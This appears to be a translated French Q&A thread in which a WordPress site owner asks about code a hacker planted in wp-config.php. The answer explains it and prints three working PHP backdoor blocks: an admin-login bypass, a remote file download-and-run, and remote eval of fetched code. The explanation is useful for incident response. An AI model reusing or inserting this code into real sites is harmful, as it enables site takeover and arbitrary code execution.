web-dev-qa-db-fra.com

Explication de ce code piraté

Bonjour, j'ai trouvé du nouveau code dans le fichier wp-config.php de l'un de mes sites. Il semble y avoir été placé par un pirate informatique. Quelqu'un peut-il expliquer ce qu'il fait?

http://Pastebin.com/fdMJCAXw

3
urok93

Il y a 3 'fonctions' principales de ce code. Les deux lignes vérifient que pingnow et pass sont définis et que pass est la valeur correcte. pingnow est utilisé plus tard pour basculer entre les "fonctions".

Le premier est exécuté si la variable pingnow GET est login. Il connecte l'utilisateur demandeur en tant qu'utilisateur 'admin'. Cela ne fonctionnera pas s'il n'y a pas d'utilisateur appelé 'admin'.

if ($_GET['pingnow']== 'login'){
  $user_login = 'admin';
  $user = get_userdatabylogin($user_login);
  $user_id = $user->ID;
  wp_set_current_user($user_id, $user_login);         
  wp_set_auth_cookie($user_id);
  do_action('wp_login', $user_login);
}

La deuxième partie permet de télécharger des fichiers définis sur votre serveur. Si la variable pingnow est exec, le script télécharge le fichier et l'enregistre sur votre serveur sous le nom d'un hachage aléatoire md5. Il redirige ensuite l'attaquant vers le script.

if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
  $ch = curl_init($_GET['file']);
  $fnm = md5(Rand(0,100)).'.php';
  $fp = fopen($fnm, "w");
  curl_setopt($ch, CURLOPT_FILE, $fp);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  curl_exec($ch);
  curl_close($ch);
  fclose($fp);
  echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
}

La troisième partie permet l'évaluation de php à distance. Il télécharge un fichier, puis eval, en l’exécutant sur votre serveur.

if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){
  $ch = curl_init($_GET['file']);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  $re = curl_exec($ch);
  curl_close($ch);
  eval($re);
}
6
nobody